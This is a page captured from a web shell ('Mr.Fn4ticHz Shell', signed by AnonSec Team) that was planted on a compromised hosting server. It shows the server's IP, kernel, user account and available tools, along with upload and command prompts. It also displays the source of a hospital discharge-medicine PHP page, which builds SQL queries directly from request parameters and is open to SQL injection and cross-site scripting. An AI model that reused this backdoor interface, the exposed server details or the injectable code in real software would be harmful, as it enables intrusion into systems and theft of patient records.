Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.16.135.36
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/edit_discharge_medicine.php
<?php
session_start();
require_once("../LoginManager.php");
require_once("../DBManager.php");
include("dbconnection.php");
include("dashboarddocument.php");
include("header.php");
?>
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
<?php
session_start();
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../patientmanager.php');
if(isset($_POST[discharge_medicine])){
   date_default_timezone_set("Asia/Calcutta");   //India time (GMT+5:30)
$updated_at= date('d-m-Y H:i:s');
$sql ="UPDATE medicinede SET  potential='$_POST[potential]', duration='$_POST[duration]',updated_at='$_POST[updated_at]' WHERE  id='$_GET[id]'";

if($qsql = mysqli_query($con,$sql))
		{
		    if($qsql = mysqli_query($con,$sql1))
		    {
    echo "<script>alert('Update successfully');</script><script>window.location='Dischargesummery.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'</script>;</script>";
  } 
  }else {
    echo "Sorry, there was an error uploading your file.";
  } 
   
}


?>
 
    	
  <p>&nbsp;</p>
  <form name='handover' method='POST'>
      	<table id="example2" class="table table-bordered table-hover">
      	    <?php 
      	    	$sql ="SELECT * FROM medicinede WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND id='$_GET[id]' ORDER BY id DESC LIMIT 1";
		$qsql = mysqli_query($con,$sql);
		$rs4 = mysqli_fetch_array($qsql);
      	    ?>
      	 <tr><td>Duration</td><td><input type="text" value="<?php echo $rs4['duration'] ?>" name="duration" class="form-control"></td></tr>   
     <tr><td width='50%'><b>Note :</b></td>
      <td>
<textarea  name="potential" rows="3" cols="100">
        <?php
	
	
           echo "$rs4[potential]";
           
           


?></textarea><td></tr> 


                    
        </table>

<input type='submit' name='discharge_medicine' value='Update'>


  </form>
  
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/js/standalone/selectize.min.js" integrity="sha256-+C0A5Ilqmu4QcSPxrlGpaZxJ04VjsRjKu+G82kl5UJk=" crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/selectize.js/0.12.6/css/selectize.bootstrap3.min.css" integrity="sha256-ze/OEYGcFbPRmvCnrSeKbRTtjG4vGLHXgOqsyLFTRjg=" crossorigin="anonymous" />
</head>

</html>

<script>
    $(document).ready(function () {
      $('select').selectize({
          sortField: 'text'
      });
  });
</script>

Anon7 - 2022
AnonSec Team